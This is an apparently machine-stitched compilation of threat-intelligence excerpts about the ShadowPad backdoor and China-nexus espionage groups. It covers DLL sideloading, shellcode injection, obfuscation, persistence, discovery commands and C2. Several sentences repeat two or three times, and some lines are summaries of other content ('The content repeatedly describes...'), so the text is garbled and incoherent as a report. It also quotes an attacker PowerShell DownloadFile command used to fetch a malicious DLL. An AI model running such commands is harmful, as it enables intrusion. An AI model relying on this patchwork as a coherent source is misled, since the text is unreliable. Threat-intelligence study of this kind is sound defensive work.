ShadowPad

FishMonger bought domains and used them for C&C traffic.

FishMonger rented servers at several hosting providers.

These private players supply everything from malware and network infrastructure to raw stolen data, turning cyber espionage into a marketplace.

The privately developed ShadowPad backdoor was sold to multiple suspected PLA units, including RedFoxtrot and Tonto Team, and shared with entities like Chengdu404, whose staff were charged for activity attributed to APT41.

According to the researchers, a China-linked operator planted malware disguised as a portal update — an executable that displayed a fake “update complete” message while infecting the visitor's device.

The China-nexus threat actor is also said to have compromised one of these web applications to deploy a custom implant masquerading as a portal update.

Upon execution, some of the payloads will achieve persistence by either creating a scheduled task or a service.

Backdoors shared among Chinese groups, including PlugX and ShadowPad, anchored the China-nexus assessments

At Victim D, the loader was downloaded using the following PowerShell command: powershell (new-object System.Net.WebClient).DownloadFile("http://<victim’s_web_server_IP_address>/Images/menu/log.dll";"c:\users\public\log.dll")

At Victim D, the attackers gained access to an admin console and used it to deploy implants on other machines in the local network.

This functionality is achieved by utilizing the Windows native functions NtAllocateVirtualMemory and NtCreateThreadEx... The sample will allocate an RWX-protected memory region using the VirtualAlloc Windows API, then write the shellcode to the memory region and pass execution to it.

Moshen Dragon actors systematically abused security software to perform DLL search order hijacking. The hijacked DLL is in turn used to decrypt and load the final payload, stored in a third file residing in the same folder. This combination is recognized as a sideloading triad.

It delivers and interacts with the ShadowPad and DarkNimbus backdoors by hijacking binary downloads and Android application updates.

Upon execution, some of the payloads will achieve persistence by either creating a scheduled task or a service.

During the 2015 Ukraine Electric Power Attack, Sandworm Team modified in-registry Internet settings to lower internet security before launching rundll32.exe ... AADInternals can modify registry keys ... ADVSTORESHELL is capable of setting and deleting Registry values ... [many additional examples].

Once executed, SHADOWPAD copies itself to C:\ProgramData\OfficeDriver as svchost.exe before installing itself as a service.

Upon execution, some of the payloads will achieve persistence by either creating a scheduled task or a service.

Another command, ID 0x43, is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process... using NtAllocateVirtualMemory and NtCreateThreadEx... Once log.dll is loaded, it will spawn Microsoft Windows Media Player (wmplayer.exe) and dllhost.exe, injecting into them.

Finally, the decrypted payload is injected into a wmplayer.exe process (Windows Media Player).

Once executed, SHADOWPAD copies itself to C:\ProgramData\OfficeDriver as svchost.exe before installing itself as a service.

DOORME XOR-encrypts strings to evade detection... The malware employs a technique that can cause disassemblers to incorrectly split functions... The malware in question also employs a technique known as Control Flow Obfuscation... Dynamic import table resolution... log.dll incorporates a code-scattering obfuscation technique to frustrate static analysis.

ScatterBrain is a sophisticated obfuscating compiler that integrates multiple operational modes and protection components to significantly complicate the analysis of the binaries it generates.

Complete Import Protection: ScatterBrain employs a complete protection of a binary's import table, making it extremely difficult to understand how the binary interacts with the underlying operating system.

DOORME first resolves the address of LoadLibraryA and GetProcAddress Windows API by parsing the kernel32.dll module export table... The sample uses the common Ldr crawling technique to find the address of kernel32.dll... It uses GetProcAddress to resolve imports as needed.

Selective or Full Control Flow Graph (CFG) Obfuscation: This technique restructures the program's control flow, making it very difficult to analyze and create detection rules for.

The researchers also found malicious files disguised as software updates planted directly on Balochistan Police’s public Complaint Management System.

Another command, ID 0x43, is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process... using NtAllocateVirtualMemory and NtCreateThreadEx... Once log.dll is loaded, it will spawn Microsoft Windows Media Player (wmplayer.exe) and dllhost.exe, injecting into them.

Finally, the decrypted payload is injected into a wmplayer.exe process (Windows Media Player).

The content repeatedly describes malware and threat actors decoding, decrypting, deobfuscating, or unpacking payloads, strings, configuration data, commands, and C2 responses prior to execution or use.

The REF2924 intrusion set, using SIESTAGRAPH, DOORME, SHADOWPAD, and the system binary proxy execution technique (among others) represents an attack group...

Moshen Dragon actors systematically abused security software to perform DLL search order hijacking. The hijacked DLL is in turn used to decrypt and load the final payload, stored in a third file residing in the same folder. This combination is recognized as a sideloading triad.

It delivers and interacts with the ShadowPad and DarkNimbus backdoors by hijacking binary downloads and Android application updates.

During the 2015 Ukraine Electric Power Attack, Sandworm Team modified in-registry Internet settings to lower internet security before launching rundll32.exe ... AADInternals can modify registry keys ... ADVSTORESHELL is capable of setting and deleting Registry values ... [many additional examples].

Cisco Talos uncovered “DKnife,” a fully featured gateway-monitoring and adversary-in-the-middle (AitM) framework comprising seven Linux-based implants that perform deep-packet inspection, manipulate traffic, and deliver malware via routers and edge devices.

The content repeatedly describes malware and threat actors using commands and APIs such as ipconfig /all, ifconfig, arp -a, route print, nbtstat, netsh, GetAdaptersInfo, and GetIpNetTable to gather IP addresses, MAC addresses, DNS, DHCP, gateways, routing tables, ARP cache, proxy settings, domains, and network adapter/interface details.

The content repeatedly describes malware and threat actors collecting usernames, identifying logged-in users, running whoami/query user/quser, checking whether the current user is an administrator, enumerating user sessions, and gathering account details from compromised hosts.

The content is a long ATT&CK-style listing of malware and threat actors that collect host details such as OS version, hostname, architecture, CPU, memory, BIOS, language, and other basic system characteristics; examples include use of commands like systeminfo, ver, uname, sw_vers, and WMI queries.

At Victim F, the implants were delivered using Impacket... At Victim F, the operators also used Impacket to move laterally.

At Victim D, the attackers gained access to an admin console and used it to deploy implants on other machines in the local network.

Cisco Talos uncovered “DKnife,” a fully featured gateway-monitoring and adversary-in-the-middle (AitM) framework comprising seven Linux-based implants that perform deep-packet inspection, manipulate traffic, and deliver malware via routers and edge devices.

Our analysis of C2 netflow data revealed that suspected China- and India-nexus threat actors operating PlugX, ShadowPad, Cobalt Strike, and Remcos infrastructure have converged on this victim class.

The content repeatedly describes threat actors and malware using HTTP and HTTPS for command and control, such as: "Sandworm Team used BlackEnergy to communicate between compromised hosts and their command-and-control servers via HTTP post requests."

ShadowPad communicates over raw TCP and UDP.

Four distinct threat clusters were observed, utilizing malware families like PlugX, ShadowPad, Cobalt Strike, and Remcos RAT.

ComRAT has modified Registry values to store encrypted orchestrator code and payloads ... QakBot can modify the Registry to store its configuration information ... Volgmer modifies the Registry to store an encoded configuration file ...